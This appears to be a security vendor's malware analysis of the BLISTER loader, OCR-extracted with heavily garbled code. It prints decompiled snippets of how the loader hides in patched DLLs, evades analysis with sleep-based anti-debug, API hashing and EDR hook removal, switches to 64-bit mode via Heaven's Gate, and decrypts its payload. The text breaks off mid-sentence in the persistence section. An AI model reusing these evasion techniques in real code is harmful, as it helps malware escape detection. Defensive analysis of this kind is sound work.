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BLISTER Loader

The BLISTER loader continues to be actively used to load a
variety of malware.

BLISTER Malware
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Key Takeaways{

+ BLISTER is a loader that continues to stay under the radar, actively being used to load a
variety of malware including clipbankers, information stealers, trojans, ransomware, and
shellcode

+ In-depth analysis shows heavy reliance of Windows Native API’s, several injection capabilities,
multiple techniques to evade detection, and counter static/dynamic analysis

o Elastic Security is providing a configuration extractor that can be used to identify key elements
of the malware and dump the embedded payload for further analysis

* 40 days after the initial reporting on the BLISTER loader by Elastic Security, we observed a
change in the binary to include additional architectures. This shows that this is an actively
developed tool and the authors are watching defensive countermeasures

The BLISTER Malware Loader

For information on the BLISTER malware loader and campaign observations, check out our blog
post and configuration extractor detailing this:

Overviewq

The Elastic Security team has continually been monitoring the BLISTER loader since our initial
release at the end of last year. This family continues to remain largely unnoticed, with low detection
rates on new samples.

e
1 (1) 1 security vendor and no sandboxes flagged this file as malicious & = :!:
P d0c3964be3c6d21802e1638650babace343cf89
- oo 431.50 KB 2022-04-06 11:05:34 UTC QO N

652d4327c8077111da71b146b o DL g

? PowerCPL.DLL
pedil

* Community o

Score

3/27


https://github.com/cyril-t-f
https://github.com/dstepanic
https://github.com/soolidsnake
https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign

Example of BLISTER loader detection rates

A distinguishing characteristic of BLISTER’s author is their method of tampering with legitimate DLLs
to bypass static analysis. During the past year, Elastic Security has observed the following legitimate
DLL’s patched by BLISTER malware:

Filename Description

dxgi.dll DirectX Graphics Infrastructure

WIAAut.DLL WIA Automation Layer

PowerCPL.DLL Power Options Control Panel

WIMGAPI.DLL  Windows Imaging Library

rdpencom.dll RDPSRAPI COM Objects

colorui.dll Microsoft Color Control Panel.
termmagr.dll Microsoft TAPI3 Terminal Manager
libcef.dll Chromium Embedded Framework (CEF) Dynamic Link Library

CEWMDM.DLL Windows CE WMDM Service Provider

intl.dll LGPLed libintl for Windows NT/2000/XP/Vista/7 and Windows 95/98/ME

vidreszr.dll Windows Media Resizer

sppcommdlg.dll  Software Licensing Ul API

Due to the way malicious code is embedded in an otherwise benign application, BLISTER may be
challenging for technologies that rely on some forms of machine learning. Combined with code-
signing defense evasion, BLISTER appears designed with security technologies in mind.

Our research shows that BLISTER is actively developed and has been linked in public reporting to
LockBit ransomware and the SocGholish framework; in addition, Elastic has also observed BLISTER
in relation to the following families: Amadey, BitRAT, Clipbanker, Cobalt Strike, Remcos, and
Raccoon along with others.

In this post, we will explain how BLISTER continues to operate clandestinely, highlight the loader’s
core capabilities (injection options, obfuscation, and anti-analysis tricks) as well as provide a
configuration extractor that can be used to dump BLISTER embedded payloads.

Consider the following sample representative of BLISTER for purposes of this analysis. This sample
was also used to develop the initial BLISTER family YARA signature, the configuration extraction
script, and evaluate tools against against unknown x32 and x64 BLISTER samples.

Execution Flowq

The execution flow consists of the following phases:
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Deciphering the second stage

Retrieving configuration and packed payload
Payload unpacking

Persistence mechanisms

Payload injection

Launch / Entry Point{]

During the first stage of the execution flow, BLISTER is embedded in a legitimate version of the
colorui.dll library. The threat actor, with a previously achieved foothold, uses the Windows built-in
rund1132.exe utility to load BLISTER by calling the export function LaunchColorCpl:

Rundll32 execution arguments

rundl132.exe "BLISTER.dll, LaunchColorCpl"

The image below demonstrates how BLISTER’s DLL is modified, noting that the export start is
patched with a function call (line 17) to the malware entrypoint.

int _ stdcall LaunchColorCpl{int al)
d
const WCHAR *CommandLinelW; // eax
HWND WindowW; // ebx
int v4; // esi
void *w5; // ebx
int ve; // eax
ULONG_PTR dwResult; // [esp+eh] [ebp-228h] BYREF
int vB; // [esp+dh] [ebp-224h]
BOOL v3; // [esp+8h] [ebp-228h]
int pNumArgs; // [esp+Ch] [ebp-21Ch] BYREF
DWORD dwProcessId; // [esp+leéh] [ebp-218h] BYREF
13 | HLOCAL hMem; // [esp+lah] [ebp-214h]
14 | wvoid *v13; // [esp+l8h] [ebp-218h]

LN I R I A WY ]
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15 [ WCHAR Buffer[26@8]; //|[esp+lCh] [ebp-28Ch] BYREF
16

17 | w8 = MalwareStart();

18 plumArgs = 83

19 vl3 = @3

CommandLineW = GetCommandLinewW()};
hMem = CommandLineToArgviW({CommandLlinel, &pNumirgs);

Export of Patched BLISTER DLL
If we compare one of these malicious loaders to the original DLL they masquerade as, we can see
where the patch was made, the function no longer exists:
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int _ stdcall LaunchColorCpl(int al)
{
_DWORD *v1; // ebx

const WCHAR *CommandlLineW; // =ax

LPWSTR *v3; // edi

HWND WindowlW; // esi

int vb; // e=si

HINSTANCE *v7; // edi

int v8; // ecx

HINSTANCE v9; // e=ax

void *v18; [/ eax

int w11; // eax

int v12; // [esp-4h] [ebp-23Ch]

int v13; // [esp-4h] [ebp-23Ch]

int v14; // [esp-4h] [ebp-23Ch]

int pNumArgs; // [esp+18h] [ebp-228h] BYREF

DWORD dwProcessId; // [esp+14h] [ebp-224h] BYREF
LPWSTR *v17; // [esp+18h] [ebp-228h]

BOOL v18; // [esp+1Ch] [ebp-21Ch]

int v19; // [esp+28h] [ebp-218h]

ULONG PTR dwResult; // [esp+24h] [ebp-214h] BYREF
WCHAR Buffer[262]; // [esp:28h] [ebp-218h] BYREF

plumbrgs = 8;

v19 = al;

Tl = 8;

CommandLineW = GetCommandLinel();

v3 = CommandLineToArgvil(CommandLinell, &pNumirgs);
vl? = w3;

v1d = pNumArgs == 2;

if ( pllumbfrgs == 2 )
goto LABEL 11,
hObject = CreateMutexi(®, 1, L"Local\\Color CPL Startup Mutex");

LN A I - T S I e Y A

Export of Original DLL Used by BLISTER

Deciphering Second Stagef]

BLISTER’s second stage is ciphered in its resource section ( .rsrc ).

The deciphering routine begins with a loop based sleep to evade detection:

counter = 83

k = @xJFFFFFFF;
do

1

_InterlockedIncrement(&counter);
—k;

¥
while ( k );

if ( counter l= @x7FFFFFFF )
return @;

Initial Sleep Mechanism
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BLISTER then enumerates and hashes each export of ntdl1l , comparing export names against
loaded module names; searching specifically for the NtProtectVirtualMemory API:

if ( n_ntdll export_names )

while { 1 )
1
hash = @;
11 = &D11Base[*( DWORD *)p ntdll export names];
vi2 = *vll;
if ( *vi1)
i
do
1
hash = v12 + _ ROL4__ (hash, 9);

wvl2 = Fvll;

h
while { *v11 };
if { hash == NtProtectVirtualMemory @ )

break;
E

API Hash

Finally, it looks for a memory region of 100,832 bytes by searching for a specific memory pattern,
beginning its search at the return address and leading us in the .rsrc section. When found,
BLISTER performs an eXclusive OR (XOR) operation on the memory region with a four-byte key,
sets it's page protection to PAGE_EXECUTE_READ with a callto NtProtectVirtualMemory, and
call its second stage entry point with the deciphering key as parameter:

92
EE
o4
EE
96
a7
EL
EE]

Laa

[l il il el e =
R R

GO~ G P R

for ( i = retaddr; *( DWORD *)i != ctf::Constants::kMemoryTag; ++1i )
H
p_mem_it = (uint8_t *}(i + 4);
mem_size = @x189E@;
p_memory = i + 4;
fp_NtProtectVirtualMemory( (HANDLE )@xFFFFFFFF, &p memory, &mem size, PAGE_READWRITE, (uint32 t *)v17);
do
1
p_mem_it[j] *= key[]j & 3];
+i;
}
while ( 7 <« @x189E@ );

fp_MtProtectVirtualMemory( (HANDLE )@xFFFFFFFF, &p memory, &mem_size, PAGE_EXECUTE_READ, (uint32_t *)v17);
((void (__stdcall *){uintd_t *))(p_mem_it + ©x5A98))(key);// Bx17289B6C
return 8;

Memory Tag & Memory Region Setup

Obfuscationq

BLISTER'’s second-stage involves obfuscating functions, scrambling their control flow by splitting
their basic blocks with unconditional jumps and randomizing basic blocks’ locations. An example of
which appears below.
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E9 22 DF @@ 80 jmp

loc 17217A93

DecipheredMalwareStart endp

Ll e 55
; START OF FUNCTION CHUNK FOR DecipheredMalwareStart
loc_17217A93:
55 push ebp
Fa cle
aF lahf
el 5@ 18 Do 2B or eax, 2BD61358h
88 EC Mo ebp, esp
C1 E8 &5 shr eax, 65h
66 BF BC C& bsf ax, si
81 EC A4 BA B8 8a sub esp, BAALHh
8B (& Mo eax, esi
Ce C4 a3 Mo ah, 93h
68 44 05 B2 08 push G44h ; size
GA B8 push a8 ; value
E9 74 5D FF FF jmp loc_1728D82F
END OF FUNCTION CHUNK FOR DecipheredMalwareStart
M=
; START OF FUNCTION CHUNK FOR DecipheredMalwareStart
loc_172@8D82F:
80 85 7@ F9 FF FF lea eax, [ebptp_memory]
E9 41 SA @8 B8 jmp loc 17213278
END OF FUNCTION CHUNK FOR DecipheredMalwareStart
EE
3 START OF FUNCTION CHUNK FOR DecipheredMalwareStart

Function’s Control Flow Scrambling

BLISTER inserts junk code into basic blocks as yet another form of defense evasion, as seen below.

loc 17217A93: ;5 CODE XREF:
push ebp
clc
lahf
or eax, 2BDEL1E58h
mov ebp, esp
shr eax, 65h
bsf ax, si
sub esp, BAA4h
mav eax, esi
mav ah, 93h
push Bddh ; size
push -] ; wvalue
jmp loc 1728DB2F

END OF FUNCTION CHUNK FOR DecipheredMalwareStart

Junk Code Insertion

Retrieving Configuration and Packed Payload{
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BLISTER uses the previous stage’s four-byte key to locate and decipher its configuration.

The routine begins by searching its memory, beginning at return address, for its four-byte key
XORed with a hardcoded value as memory pattern:

‘ vV
bl et (55
search_memory_pattern_loop:
mov ecx, [ebptmemory pattern_and_key]
Nor ecx, BFBAACI19h
mov edx, [ebp+p_memory_it]
cmp [edx], ecx
jz memory_pattern_found
; ‘ ¢
P
ION CHUNK FOR p_config mow eax, [ebp+p_memory_it]
add ean, 1
ound: ; size
cole jmp loc_1721BCAE
N CHUNK FOR p_config p_config endp
I
ION CHUNK FOR p_configl [; START OF FUNCTION CHUNK FOR p_config
loc_1721BCAE:
pt+p_memory_it] mowv [ebp-4], eax
jmp search_memory_pattern_loop
END OF FUNCTION CHUNK FOR p_config
3 p_src
pt+_p_config]
537C
N CHUMK FOR p_config

Memory pattern search loop

When located, the 0x644 byte configuration is copied and XOR-decrypted with the same four-byte
key:
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Comup owwa
lea eax, [ebp+tmemory pattern_and_key]
push Eax 3 p_key

movsx  ecx, di

xchg cl, ch

push 644k ; size
mow ecx, [ebp+_p_config]
jmp loc_17211B14
END OF FUNCTION CHUNK FOR p_config
il e =]
3 START OF FUNCTION CHUNK FOR p_config
loc_17211B14: 3 p_buffer
push ecx
jmp loc 172eCea0
END OF FUNCTION CHUNK FOR p_config

| :
Hm=

; START OF FUNCTION CHUNK FOR p_config

loc_172eCee9:
call ctf__DecipherData®@

Config decryption
Finally, it returns a pointer to the beginning of the packed PE, which is after the 0x644 byte blob:

mow eax, [ebpt+p memory it]
add eax, G48h ; return p_memory_it 4+ pattern(4) + @x644
jmp loc 17214FC1

Pointer return to packed PE
See the configuration structure in the appendix.

Time Based Anti Debug]]

After loading the configuration, and depending if the kEnableSleepBasedAntiDebug flag ( ©x8600 )
is set, BLISTER calls its time-based anti-debug function:

?| if { (config flagz & kEnableSleepBasedAntiDebug) == 8 || !Engine::SleepBasedAntiDebug(p engine) )

Check configuration for Sleep function
This function starts by creating a thread with the Sleep Windows function as a starting address and
10 minutes as the argument:
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29
38
31
32
33
34
35
36
37
38
39
48
41
42
43
a4

if ( fp_Sleep )
1
_fp_Sleep = fp_Sleep;
p_kernel32 = Engine::GetModuleHandle(p engine, kernel3z_dll);

fp_CreateThread = {int (_ stdecall *)( DWORD, DWORD, woid *, int, _|

h_sleep_thread = (HANDLE)}({(int (__cdecl *)({ DWORD, _DWORD, woid *,
e,
BJ
_fp_Sleep,

Sleep function (600000 ms / 10 minutes)
The main thread will sleep using NtDelayExecution until the sleep thread has exited:

S8
51
52
53
54
55
56
57
58
59
6@
61
62
B3
a4
65
6o
67
B8
69
7a
71
72
73
74
75
7B
77
78
79

DWORD, char *))Engine::GetProcAddress(
p_engine,
p_kernel3z,
CreateThread 8,
a);

int, _DWORD, char *)})}fp_CreateThread)(

while { !kernel user_times.ExitTime.QuadPart && status »= STATUS_SUCCESS )

if { p_engine-»>p_mapped_x32_ntdll )

p_mapped_x32 ntdll = p_engine-»p_mapped x32_ntdll;
else
p_mapped_x32 ntdll = p_engine-»p_x32_ntdll;

_h_sleep thread = h_sleep_thread;

fp NtQueryInformationThread = (int (  stdcall *)({HANDLE, THREADINFOCLASS, wvoid *, uint3

status = fp NtQueryInformationThread(
_h_sleep_thread,
ThreadTimes,
&kernel_user_times,

THREAD SET_INFORMATION,
(uint32_t *)}&n_bytes);

delay.QuadPart = -1900808164;
if { p_engine->p_mapped_x32_ntdll )

p_dll = p_engine-»p_mapped_x32_ntdll;
else
p_dll = p_engine-»p_x32_ntdll;

fp NtDelayExecution = (wvoid (  stdcall *)(int, LARGE_INTEGER *))Engine::GetProcAddress(

fp_NtDelayExecuticon(l, &delay};

}

NtDelayExecution used with Sleep function
Finally the function returns © when the sleep thread has run at least for 9 1/2 minutes:

83
a4
85
86

vld = vl;
if { __PAIRG4 _ (HIDWORD(vw1), w14} »= 570808 )
return &;

Condition to end sleep thread
If not, the function will return 1 and the process will be terminated:

p_engine,

p_dll,
NtDelayExecution_@,
a);
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7
3
9
18
11
12
13
14
15

if { (config flag & kEnableSleepBasedAntiDebug) == @ || !Engine::5leepBasedantiDebugi(p engine)
return Engine::ManuallyMapx32a&ndx6antdll{p engine);

fp_MtTerminateProcess = (int (_ stdcall *)(HANDLE, _DWORD))}Engine::GetProcAddress(
p_engine,
p_engine-»p_x32_ntdll,
NtTerminateProcess_@,
a);
fp_MtTerminateProcess(({HANDLE)}-1, @};

Process termination on sleep function if error

Windows APIf

Blister’s GetModuleHandleq

BLISTER implements its own GetModuleHandle to evade detection, the function takes the library
name hash as a parameter, iterates over the process PEB LDR’s modules and checks the hashed
module’s name against the one passed in the parameter:

[T I o LS o RV B O VI S T ]

L N I O L el e T T e e T e et
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HMODULE _ cdecl Engine::GetModuleHandle(Engine *p_engine, uint32_t library_hash)
{
wvold (_ stdcall *ProcAddress){wchar_t *, PWSTR); // =ax
PWSTR Buffer; // [esp-228h] [ebp-224h]
wchar_t w5[262]; // [esp-21Ch] [ebp-228h] BYREF
PPEB_LDR_DATA Ldr; // [esp-18h] [ebp-14h]
LDR_DATA_TABLE_ENTRY *p_InLoadOrderModulelist; // [esp-Ch] [ebp-18h]
LDR_DATA_TABLE_ENTRY *v8; // [esp-8h] [ebp-Ch]
LDR_DATA_TABLE_ENTRY *Flink; // [esp-4h] [ebp-8h]

Ldr = GetPEB()->Ldr;

p_InLocadOrdertodulelist = (LDR_DATA TABLE_ENTRY *)&Ldr->InLoadOrderModulelist;
Flink = (LDR_DATA_TABLE_ENTRY *)Ldr->InLoadOrderModulelist.Flink;

vE = B

while { Flink != p InloadOrdertModulelist

{ :

w83 = Flink;

Buffer = Flink-»BaseDllName.Buffer;

ProcAddress = (void (_ stdcall *)}(wchar_t *, PWSTR))Engine::GetProcAddress(
p_engine,
p_engine-»p_x32_ntdll,
Bx999BCeALC,

a);

ProcAddress(vs, Buffer);
WToLowerCase(vs);

if ( HashLibraryName(vS)} == library_hash )
return (HMODULE)vE->D11lBase;
Flink = (LDR_DATA TABLE_ENTRY *)Flink-»>InlLoadOrderLinks.Flink;
b
return 8;

b

Function used to verify module names

Blister’s GetProcAddress]

BLISTER’s GetProcAddress takes the target DLL and the export hash as a parameter, it also takes

a flag that tells the function that the library is 64 bits.
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The DLL can be loaded or mapped then the function iterates over the DLL’s export function names
and compares their hashes with the ones passed in the parameter:

48| for (1 =8; ; +1i )

ar| {

42 _ECX = p_export_directory;

43 if { i »= p export directory->NumberOfNames )
44 break;

45

46 if { HashFunctionName({(char *)&p dl1[*p export_names_rva]) == proc_hash )
a7 {

43 _ECX = p_export_ordinals_rvaj;

49 export_ordinal_rva = *p_export_ordinals_rvaj;
58 break;

51 }

52 +Hp_export_names_rva;

53 +Hp_export_ocrdinals_rvaj

54 1}

BLISTER'’s GetProcAddress hash checking dII’s exports
If the export is found, and its virtual address isn’t null, it is returned:

58 is_null = &p_dl1l[p_export_function_addresses ] == 8;

59 | w33 = (char *)&p_dll[p_export_function_addresses_rva[export_crdinal_rva]];

68 | if ( is_null || w33 ¢ (char *)p_export_directory || w33 »= (char *}p_export_directory + export_directory_size )
Bl return v33;

Return export virtual address
Else the DLL is LdrLoaded and BLISTER’s GetProcAddress is called again with the newly loaded
dll:

183 | w28 = fp_LdrLoadDll({&v14->Length, (uint32_t)vl15, p_u_module_filename, pp_module});
184 | proc_hasha = HashFunctionName(++v3@};
185 | return Engine::GetProcAddress(p_engine, (HMODULE)p module, proc_hasha, @);

LdrLoad the DLL and call GetProcAddress again

Library Manual Mappingq

BLISTER manually maps a library using NtCreateFile in order to open a handle on the DLL file:

Ba
]

_ result = fp NtCreateFile(&h file, @xseleeees, 23, v24, @, 128, 7, FILE OPEN, 96, @, @);
if { __result »=8 )

NtCreateFile used within mapping function
Next it creates a section with the handle by calling NtCreateSection with the SEC_IMAGE attribute
which tells Windows to loads the binary as a PE:

IR

SO0

79

__result = fp_NtCreateSection(&h_section, 983671, @, ©, PAGE_READONLY, SEC_IMAGE, h_ file);
if ( __result »=8 )

NtCreateSection used within mapping function
NtCreateSection used within mapping function

Finally it maps the section with NtMapViewOfSection:
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92 __result = fp_ NtMapViewOfSection(
93 _h_section,

a4 @xFFFFFFFF,

g5 (void **)pp_mapped_library,
o6 @,

97 8,

93 e,

o9 826,

Y 2,

81 8,

a2 PAGE_READONLY) ;

NtMapViewofSection used within mapping function

x32/x64 Ntdll Mappingf|

Following the call to its anti-debug function, BLISTER manually maps 32 bit and 64 bit versions of
NTDLL.

It starts by mapping the x32 version:
45| _result = Engine::ManuallyMapLibrary(p _engine, p w ntdll _fullname, &0 engine-:p_mapped_x32_ntdll);

32 bit NTDLL mapping
Then it disables SysWOW®64 redirection:

75
76

/f ctf -» Disable syswow redirection.
fp_RtlWows4EnableFsRedirection{FALSE);

SysWOW64 disabled
And then maps the 64 bit version:

113 _result = Engine::ManuallyMapLibrary(p_engine, w_variable wvalue, &p engine->p_mapped_x64 ntdll});
114 if { _result < @)
115 return _result;

64 bit NTDLL mapping
Then if available, the mapped libraries will be used with the GetProcAddress function, i.e:

175 if { engine.p_mapped_x32_ntdll )

176 _p ntdll = (uint8 t *)}engine.p _mapped_x32 ntdll;

177 else

178 [l ntdll = (uint8 t *)engine.p %32 ntdll;

179

la@ wescpy (&p w_target full path[4], L"#E");

181 *(_DWORD *)&p w_target full path[2] = &w32;

1g2 *(_DWORD *)p_w_target_full_path = &p unpacked_PE;

183 _ fp_NtFreeVirtualMemory = (int (__cdecl *}(int, _DWORD, _DWORD, _DWORD))Engine::GetProcAddress(
184 &engine,

185 {HMODULE}_p_ntdll,
186 NtFreeVirtualMemory_@,
187 @);

Mapped libraries using GetProcAddress

LdrLoading Windows Libraries and Removing Hooks{

After mapping 32 and 64 bit NTDLL versions BLISTER will LdrLoad several Windows libraries and
remove potential hooks:
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1 INTSTATUS _ cdecl Engine::LdrloadBunchOfLibrariesfAndRemoveHooks (Engine *p_engine, HANDLE h_process, PEB *p_peb)
2 |{

53| uwint32_t library_hashes[9]; // [esp-38h]
4| wchar_t *p w library_path; // [esp-Ch] [ebp-18h] BYREF
5| NTSTATUS _result; // [esp-8h] [ebp-Ch]

6| unsigned _ int8 i; // [esp-1h] [ebp-5h]
7

8| _result = 8;

a library _hashes[@] = user32_dl11;

@ | library_hashes[1] = gdi32_d11;

A library_hashes[2] = ws2_32_dl11;

2 library_hashes[3] = wininet_d11;

3| library_hashes[4] = urlmon_d11;

4| library hashes[5] = advapi32 dll;

5| library_hashes[6] = kernel32_dl1l;

& | library_hashes[7] = kernelbase_dl1l;

7 library_hashes[8] = ntdll d11;

8

9| p_w_library_path = @;

@| For (1 =8; 1 < 9u; +Hi )

1 1

12 _result = Engine::LdrlcadlLibraryAndGetlibraryPathFromProcess(
'3 p_engine,

4 library_hashes[i],

5 &p w_library path,

‘6 h_process,

7 p_peb);

8

‘a if ( _result < @)

a return _result;

i1

iz _result = Engine::RemoveLibraryHooks(p_engine, h_precess, p_peb, p_w_library_path, library_hashes[i]);
i3 if ( _result < @ )

4 return _result;

5 %}

8

i7 | if { p_engine-»is_x64 loaded )

8 return sub_17219FD9(p engine);

9

@ return _result;

Ly}

Function used to load Windows libraries and remove hooks
First, it tries to convert the hash to the library name by comparing the hash against a fixed list of

known hashes:

switch ( _library_hash )

1
case gdi32_dll:

__fp RtlInitUnicedeString = (void {_ stdcall *}({int

*, _DWORD *})Engine::GetProcAddress(

p_engine,
p_engine-»>p_x32_ntdll,
RtlInitUnicocdeString_ @,
2);

__fp RtlInitUnicedeString((int *)}8u_library_name, w_gdi32};

break;
case user32_dll:

___ fp RtlInitUnicodestring = (void (__stdcall *){int

*, _DWORD *})Engine::GetProcAddress(

p_engine,
p_engine-»p_x32_ntdll,
RtlInitUnicedeString_ @,

2);
Hash comparison
If the hash is found BLISTER uses the LdrLoad to load the library:
126 /f ctf -» Load dll into its own process.
127 _result = fp_LdrloadDll(@, @, &u_library_name, (int *)&p remcte_dll_base};
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Leveraging LdrLoad to load DLL
Then BLISTER searches for the corresponding module in its own process:

if ( _p module_it-»>D11Base <= p_dll_base && (char *)_p module it-»D11Base + _p module it-»SizeOfImage > p_dll_base )

break;

p_module_it = (LDR_DATA TABLE_ENTRY *)_ p module it->InLoadOrderLinks.Flink;

1

return _p module_it;

Searching for module in own process
And maps a fresh copy of the library with the module’s FullDIIName:

133
134
135
136

p_module = (LDR_DATA_TABLE_ENTRY *)ctf::Engine::FindLdrModuleFromAddress(p engine, p_remcte_dll_base);

if ( p_module )

*pp_w_library_path = p_module->FullDl1lName.Buffer;

return _result;

Retrieving Module’s FullDlIIName

111
112
113
114
115
116
117
118
119
12@

Manual Mapping function
BLISTER then applies the relocation to the mapped library with the loaded one as the base address
for the relocation calculation:

165
166
167
168
169
178
171
172
173
174
175
176

if ( _ result >=8 )

/f ctf -» Apply reloc if needed.

if { is_relecaticn_needed )

1
Memset(&delta, @, Bu);
_asm { rcl cl, ¢l }
delta.QuadPart = {unsigned int} p d11

- *(_DWORD *)({char *)p_mapped_
*(_DWORD *}({({char *)}p _mapped_library + *((_DW0l

DoPERelocation{p mapped library, &delta, @);

Performing relocation
Next BLISTER iterates over each section of the loaded library to see if the section is executable:

178
179
158

for { j =@; j ¢« (int)*(unsigned _ intle *)({char *)}p_mapped_library + *{{_DWORD

___result = Engine::ManuallyMaplLibrary(p _engi
__result = _ result;
if { _ result »=8 )
1
is relocation needed = @3
if {  result == STATUS IMAGE_NOT_AT BASE )
1
is_reloccation_needed = 1;
__rdtsc();
1

ne, p_w_library_path, &p mapped_library);

library + *(({_DWORD *)p_mapped_library + @xF) + 8x34);
RD *)p_mapped_library + 15} + 52) = p_mapped_library;

if ( (p_section_header_it[j].Characteristics & IMAGE_S5CN_MEM_EXECUTE) != @ )

Checking executable sections
If the section is executable, it is replaced with the mapped one, thus removing any hooks:

315
316
317
318
319
320
321

Tp_ntiriteiirtualMemory = (int (_ cdecl *)(HANDLE, size_t, uints_t *,
v43 = fp_NtWriteVirtualMemory(
V61,
__p corresponding dll_section,
__p_dl1_correspending_section_cpy,

vB5);

DWORD, _DWORD))Engine::GetProcAddress(p_engine, v&6, MtWritevirtualMemory_@, @);

*)p_mapped_library + @xF) + 6); ++]j )
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Section replacement

x64 API Cally

BLISTER can call 64-bit library functions through the use of special 64-bit function wrapper:

_ rdtsc();
ProcAddress = Engine::GetProcAddress(p engine, p engine-»p_mapped_x64 ntdll, NtAlloccateVirtualMemory @, ;
EL =|x54{alﬂ(P'ccAdd'E55}ﬂ

BLISTER utilizing 64-bit function library caller
2 [int __cdecl ctf::x64Call(void *al)

3 [t

4| dint wl; // ecx

5| woid (__cdecl *w2)(int); // esi

6| int w3; /f edx

7 int wvd; // ecx

8| int ve; [/ [esp-1Ch] [ebp-4Ch]

9| woid *retaddr[2]; // [esp+3Ch] [ebp+Ch]
18

11 | SwitchCodeSegment(ctf::Constants::CodeSegmentx6d);

12 [ w2 = *{void (_ cdecl **}({int)})vl;

13| w3 = vl + 8;

14| w4 = ((unsigned __int3)*( DWORD *)(vl + 8) + 1) & 8xFE;
15 | do

16 v = *( DWORD *}(v3 + B * vd--};

17 | while ( w4 };

18 | wv2(ve);

19 | return MK_FP(retaddr[@], retaddr[@])}();

28 [}

64-bit function library caller
To make this call BLISTER switches between 32-bit to 64-bit code using the old Heaven’s Gate
technique:

Address Rule Name Match Name Match Type

.rsrc:1728DAE5  HeavensGate $retf_to_64bit_mode ba 33 e8 00 00 0@ B0 83 B4 24 @5 cb binary
.rsrc:1728DAFE  HeavensGate $retf_to_32bit_mode e8 00 BB B8 08 c7 44 24 94 23 090 00 B0 83 64 24 @d cb binary

Observed Heaven'’s Gate byte sequences
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LPERCI LS ZUUALL
¥ .rsrc:17280ACC push ebp
.rsrc:1728DACD mov ebp, esp
.rsrc:17280ACF sub esp, 8
.rsrc:1728DAD2 push ebx
.rsrc: 17200403 push esi
.rsrc: 17280404 push edi
.rsrc:17280AD5 push 8 ; unsigned int
.rsrc:1728DADTY push e ; char
.rsrc:17260AD9 lea eax, [ebp+var 8]
.rsrc: 17280ADC push eax ; int
.rsrc:1728DADD call j_ctf  sub 17280829
.rsrc:1728DAE2 add esp, BCh
~.rsec:1720DAES  push  33h
.rsrc:1728DAET call 45
.rsrc: 1728DAEC add [esp+1Ch+var 1C], 5
.rsrc:1728DAFG retf
-rsrc:17200AF0 [OOSR
.rsrc:1728DAFE
B - e L ) B e
.rsrc:1728DAF1 db 4%9h
.rsrc:1728DAF2 db 54h
.rsrc:1726D4F3 db 8Fh
.rsrc:1728DAF4 db 45h ; E
.rsrc:1728DAFS db @F8h

Heaven’s Gate - Transition to 64 bit mode

.Psrc:
:1728DAF1

Ps5PC

.Psrc:
:1728DAF3

PSP C

.rsrc:
rsrc:
IPSrCe
M -1
.rsrc:

1728DAF1 ;

1728DAF2

1728DAFE
1728DAFE
172806803
17280887

17280B88 ;

»

dec ecx

push esp

pop dword ptr [ebp-8]

call £+5

mow dword ptr [esp+d], 23h ; “#°
add dword ptr [esp], ©0h

retf

Heaven’s Gate - Transition to 32 bit mode

Unpacking Payloadf]

During the unpacking process of the payload, the malware starts by allocating memory using
NtAllocateVirtualMemory and passing in configuration information. A memcpy function is used to
store a copy of encrypted/compressed payload in a buffer for next stage (decryption).

vll = fp_NtAllocateVirtualMemory(-1, &p_packed_PE_cpy, @, p_compressed_data_size, w14, v13);

result = v1l;

if ((vil >=8 )

i

memepy (p_packed PE_cpy, p_packed PE, config.compressed_data_size);

_ rdtsc();

DecipherData(p packed PE_cpy, config.compressed_data_size, config.pe_deciphering_key, config.pe_deciphering iv};

vE = Engine::DecompressBuffer(
&engine,
p_packed_PE_cpy,
&p unpacked_PE,
config.compressed_data_size,
config.uncompressed_data_size);
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Unpacking BLISTER payload

Deciphering{

BLISTER leverages the Rabbit stream cipher, passing in the previously allocated buffer containing
the encrypted payload, the compressed data size along with the 16-byte deciphering key and 8-byte
V.

1 foid _ cdecl DecipherData(uint8 t *p buffer, size t buffer size, uint8 t *p key, uintg8 t *p_iv)
2 |t

3| crypto::RabbitCipherCtx ctx; // [esp-88h] [ebp-8Ch] BYREF

4

5 __asm { recl bp, 44h }

G| Memset(&ctx, @, @xB3uj};

7| crypto::RabbitCipherCtx: :IvSetup(&ctx, p_iv);

3 | crypto::RabbitCipherCtx: KeySetup(&ctx, p_key);

9 | crypto::RabbitCipherCtx: :Decrypt(®, &ctx, p_buffer, p_buffer, buffer_size};

1@ [}

Decipher function using the Rabbit cipher

Address 2 ASCIT

000DFCEONCO 54 EE 4AIB3 02 83 2E[33 B8 GC 02 E5 D 85 OCNAT%I=...5.1.a0.. KEV
COODFCCO g o &.2]6¢ OO O 00 O [ O 00 .dag.1.hJ..... a%.
OOODFCDO b 54 18 14 00|50 OO0 OO0 0O(C...2...Z2...P...
OO0ODFCED |00 00 DB 6F (80 EC 53 77 (04 D1 21 17|00 00 04 O4|..00.35w.R1..... I\!
O00DFCFO |04 FD OD 00|DC 40 20 17 (00 00 3B 04 (00 00 OO0 00| .yw..08 ...;.....
O00ODFDOO | 00 00 00 00|00 00 4D 77 (00 00 O4 04100 00 1D 04| ...... MW, covunn.
000DFDAO |00 00 00 00|50 FD OD 00|43 39 17 17(38 FD OD 00|....Pv..C9..8vy..
000DFD20 | 6C 34 17 A7(00 00 23 00(6C 3A 17 17|04 00 OO0 OO0| T=.... 8. 1., ....
000DFD30 (18 OC 5D 77|42 09 00 00|00 4A Be F3(00 40 20 17|..]wB....JY0.@ .
000DFD40 (00 90 01 O0|BD 01 00 00|14 38 5D 77 (FF FF FF 7F|....%....8]wwy.
OOODFDSO | 80 FF OD OO(83 3A 17 17(00 00 0D OO|00 O0 O0 00| c¥ueew tencnnsnnsa

Observed Rabbit Cipher Key and IV inside memory

Decompression{

After the decryption stage, the payload is then decompressed using RtIDecompressBuffer with the
LZNT1 compression format.

48 | _p_uncompressed_buffer_si = p_compressed_buffer;

41| wil compressed_bu H

42 *pp_uncompressed_buffer;

43 compressBuffer = (void (_ stdcall *)(uint32_t, woid *, size_t, void *, size_t, size_t *))Engine::GetProcAddress(
44 p_engine,

45 (uintd_t *)p_engine-»p_x32_ntdll,
46 RtlDecompressBuffer_a,
47 @);

48 | fp_RtlDecompressBuffer(

49 COMPRESSION_FORMAT_LZNTL,

5@ result,

51 (size_t}vie,

52 _p_uncompressed_buffer_size,

53 (size_t)p_dll,

54 (size_t *)savedregs);

55

Decompression function using LZNT1

Persistence Mechanism{

To achieve persistence, BLISTER leverages Windows shortcuts by creating an LNK file inside the
Windows startup folder. It creates a new directory using the CreateDirectoryW function with a
unique hardcoded string found in the configuration file such as: C:\\ProgramData’UNIQUE STRING>"
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BLISTER then copies C:\System32\rundl1132.exe and itself to the newly created directory and
